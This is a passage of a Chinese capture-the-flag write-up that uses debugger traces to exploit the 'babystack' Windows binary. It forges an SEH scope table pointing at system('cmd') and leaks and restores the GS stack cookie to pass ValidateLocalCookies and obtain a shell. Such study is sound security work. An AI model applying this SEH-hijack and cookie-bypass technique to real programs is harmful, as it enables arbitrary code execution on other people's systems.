6375b310 3339            xor     edi,dword ptr [ecx]  ds:0023:01124004=765fba5d
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=0015fb54//edi指向fake scope table
eip=6375b312 esp=0015f58c ebp=0015f5b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
VCRUNTIME140!_except_handler4_common+0x22:
6375b312 50              push    eax
0:000> dd 15fb54
0015fb54  ffffffe4 00000000 ffffff20 00000000
0015fb64  fffffffe 01121348 0112138d//fake scope table中handler func指向system('cmd')

這里我們已經可以令 decode scope table 指向我們的 fake scope table,里面存放的 handler func 指向 system('cmd') 地址,根據我們剛才對此函數的分析,接下來應該獲取 fake handler func 的值,然后跳轉到 system('cmd'),獲取 shell,打完收工,皆大歡喜。但是最后程序卻 crash 掉了。為什么呢?

我們進行了分析發現棧中還有地方需要做 fix!我們發現在 VCRUNTIME140!ValidateLocalCookies 函數中,SEH 處理崩潰了。

0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=0015fb54
eip=6375b31a esp=0015f580 ebp=0015f5b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
VCRUNTIME140!_except_handler4_common+0x2a:
6375b31a 897df8          mov     dword ptr [ebp-8],edi ss:0023:0015f5ac=56125318
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=0015fb54
eip=6375b31d esp=0015f580 ebp=0015f5b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
VCRUNTIME140!_except_handler4_common+0x2d:
6375b31d e87effffff      call    VCRUNTIME140!ValidateLocalCookies (6375b2a0)
0:000> p

STATUS_STACK_BUFFER_OVERRUN encountered
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(19f970.19fdf4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=01123130 ecx=76b5e4b4 edx=0015ef65 esi=00000000 edi=0015fb54
eip=76b5e331 esp=0015f1ac ebp=0015f228 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
76b5e331 cc              int     3

接下來我們跟入 VCRUNTIME140!ValidateLocalCookies,看看問題出在哪里。

0:000> p//這里會將0024f748的值和esi做異或
eax=ffffffe4 ebx=0024f764 ecx=00e21490 edx=770b6d8d esi=0024f764 edi=0024f6d8
eip=5bf0b2bb esp=0024f0ec ebp=0024f0f8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
VCRUNTIME140!ValidateLocalCookies+0x1b:
5bf0b2bb 333418          xor     esi,dword ptr [eax+ebx] ds:0023:0024f748=61616161

0:000> p//隨后將結果交給ecx
eax=ffffffe4 ebx=0024f764 ecx=00e21490 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=5bf0b2c4 esp=0024f0ec ebp=0024f0f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
VCRUNTIME140!ValidateLocalCookies+0x24:
5bf0b2c4 8bce            mov     ecx,esi
0:000> p
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=5bf0b2c6 esp=0024f0ec ebp=0024f0f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
VCRUNTIME140!ValidateLocalCookies+0x26:
5bf0b2c6 ff5508          call    dword ptr [ebp+8]    ss:0023:0024f100=00e21490
0:000> t//進入函數處理會將異或結果和security cookie做比較
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=00e21490 esp=0024f0e8 ebp=0024f0f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
babystack+0x1490:
00e21490 3b0d0440e200    cmp     ecx,dword ptr [babystack+0x4004 (00e24004)] ds:0023:00e24004=be69501d
0:000> p//不相等則會跳轉
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=00e21496 esp=0024f0e8 ebp=0024f0f8 iopl=0         ov up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a97
babystack+0x1496:
00e21496 f27502          repne jne babystack+0x149b (00e2149b)           [br=1]
0:000> p
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=00e2149b esp=0024f0e8 ebp=0024f0f8 iopl=0         ov up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a97
babystack+0x149b:
00e2149b f2e981020000    repne jmp babystack+0x1722 (00e21722)

在 ValidateLocalCookies 中令 24f748 的位置的值和 0x24f764 做了異或運算,隨后和 security cookie 做比較,相等則會繼續執行后面的內容,這里不相等,那后續 SEH 異常處理不會進行,跳轉進入 SetUnhandledExceptionFilter,進入系統默認的異常處理。調用關系是 sub_401722->sub_4016FA->SetUnhandledExceptionFilter 。我們來看一下這個值是什么。

.text:004010B3                 push    0FFFFFFFEh//TryLevel入棧
.text:004010B5                 push    offset stru_403688//stru(scope table)入棧
.text:004010BA                 push    offset sub_401460//seh handler入棧
.text:004010BF                 mov     eax, large fs:0
.text:004010C5                 push    eax//next pointer to seh chain 入棧
.text:004010C6                 add     esp, 0FFFFFF40h
.text:004010CC                 mov     eax, ___security_cookie
.text:004010D1                 xor     [ebp+ms_exc.registration.ScopeTable], eax
.text:004010D4                 xor     eax, ebp//security cookie和ebp做異或運算,形成一個cookie
.text:004010D6                 mov     [ebp+var_1C], eax//存放入棧中,這個值會在ValidateLocalCookies用來check 棧cookie

0:000> p
eax=b33cb7a2 ebx=7ffd8000 ecx=002ff700 edx=00000000 esi=5bf16314 edi=004d7b60
eip=00c410d6 esp=002ff6a0 ebp=002ff770 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
babystack+0x10d6:
00c410d6 8945e4          mov     dword ptr [ebp-1Ch],eax ss:0023:002ff754=00c41580
0:000> !exchain
002ff760: babystack+1460 (00c41460)
002ff7a8: babystack+1460 (00c41460)
002ff7f4: ntdll!_except_handler4+0 (7708e195)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (770e790b)
                func:   ntdll!__RtlUserThreadStart+63 (770e7c80)
Invalid exception stack at ffffffff
0:000> dd 002ff750 l4
002ff750  002ff774 b33cb7a2 002ff690 5be7a4e3//eax=0xb33cb7a2

接下來我一邊調試,一邊將 VCRUNTIME140!ValidateLocalCookies 的偽代碼還原成C,其實這個函數主要就是對這個存放棧 Cookie 的位置做檢查,其中 stru 結構體就是 scope table,對應的結構體變量請參照文章前面的 stru 的結構。

int __cdecl ValidateLocalCookies(void (__thiscall *a1)(int), int a2, int a3)//sub_1000B2A0
{
  int v3; // esi@2
  int v4; // esi@3

  if ( *(_DWORD *)stru->GSCookieOffset != -2 )
  {
    v3 = *(_DWORD *)(FramePointer + stru->GSCookieOffset) ^ (FramePointer + stru->GSCookieXOROffset);//這里frame pointer的值就是在原Function中棧ebp的值
    //00c410b1 8bec            mov     ebp,esp  esp=002ff770
    __guard_check_icall_fptr(a1);
    babystack!sub_401490(v3);//v3 = security_cookie sub_401490就是check security cookie和GSCookie的值是否相等
            /*.text:00401490 sub_401490      proc near               ; CODE XREF: sub_401060+46p
                    .text:00401490                                         ; .text:004013C4p
                    .text:00401490                                         ; DATA XREF: ...
                    .text:00401490                 cmp     ecx, ___security_cookie
                    .text:00401496                 repne jnz short loc_40149B
                    .text:00401499                 repne retn

                    .text:0040149B loc_40149B:                             ; CODE XREF: sub_401490+6j
                    .text:0040149B                 repne jmp sub_401722
                    .text:0040149B sub_401490      endp*/
  }
  v4 = *(_DWORD *)(FramePointer + stru->EHCookieOffset) ^ (FramePointer + stru->EHCookieXOROffset);
  __guard_check_icall_fptr(a1);
  return ((int (__thiscall *)(int))babystack!sub_401490)(v4);
}

可以看到,這個位置存放的是 GSCookie 和 ebp 的一個異或結果,實際上這個值在這里就是為了防止棧溢出繞過 GSCookie 的檢查,而這個位置在 prev 域 -0xC 的位置,因此這個值需要泄露出來,接下來我們對 exp 做修改,主要是將 stack 上剛才分析的這個Cookie值泄露出后在棧溢出時對棧做fix,之后繼續調試。

////////////通過VCRUNTIME140!ValidateLocalCookies

0:000> t
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=003a1490 esp=001df768 ebp=001df778 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
babystack+0x1490:
003a1490 3b0d04403a00    cmp     ecx,dword ptr [babystack+0x4004 (003a4004)] ds:0023:003a4004=70244f1d
0:000> p
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=003a1496 esp=001df768 ebp=001df778 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x1496:
003a1496 f27502          repne jne babystack+0x149b (003a149b)           [br=0]
0:000> p
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=003a1499 esp=001df768 ebp=001df778 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x1499:
003a1499 f2c3            repne ret
0:000> p
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=6c38b2c9 esp=001df76c ebp=001df778 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!ValidateLocalCookies+0x29:
6c38b2c9 8b4708          mov     eax,dword ptr [edi+8] ds:0023:001dfd5c=ffffff20

///////////跳轉到Handler Function執行system('cmd')
0:000> t
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a138d esp=001df788 ebp=001dfde0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x138d:
003a138d 6868323a00      push    offset babystack+0x3268 (003a3268)
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a1392 esp=001df784 ebp=001dfde0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x1392:
003a1392 ff1584303a00    call    dword ptr [babystack+0x3084 (003a3084)] ds:0023:003a3084={ucrtbase!system (5bef89a0)}

在 Windows 7 下面完成攻擊,獲得 shell 交互。

因此,我們最后的利用過程是這樣的,先構造如下的棧溢出的databuf結構。

(后面的利用過程中的源代碼部分在文章中已經提到,這里就不再提了)然后輸入任意非yes非no(嚴格匹配)的字符串,就可以輸入我們的 databuf 了,這里 sub_401000 會由于字符串拷貝導致棧溢出,隨后棧內被我們構造的 databuf 覆蓋,隨后我們輸入yes,在else語句中,通過輸入0,或者字符來觸發異常。

0:001> g//輸入0,觸發異常
(1b03c4.1b03c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=7ffdf000 ecx=70244f1d edx=00000009 esi=5bf16314 edi=004c3ec0
eip=003a1272 esp=001dfd00 ebp=001dfde0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\sh1\Desktop\babystack.exe
babystack+0x1272:
003a1272 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000000=????????

進入 SEH 后,利用 fake Scope Table 中的 fake handler function 在 VCRUNTIME140!_except_handler4_common->VCRUNTIME140!_EH4_TransferToHandler 中實現跳轉控制eip。

0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0110138d edi=00000000
eip=651faf5c esp=0012f888 ebp=0012ff18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x17:
651faf5c ffe6            jmp     esi {babystack+0x134e (0110138d)}
0:000> t
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a138d esp=001df788 ebp=001dfde0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x138d:
003a138d 6868323a00      push    offset babystack+0x3268 (003a3268)
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a1392 esp=001df784 ebp=001dfde0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x1392:
003a1392 ff1584303a00    call    dword ptr [babystack+0x3084 (003a3084)] ds:0023:003a3084={ucrtbase!system (5bef89a0)}

最后我們可以獲得 shell,在 win10 下測試也通過了。

babyshellcode & babystack download url: https://github.com/k0keoyo/ctf_pwn


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/379/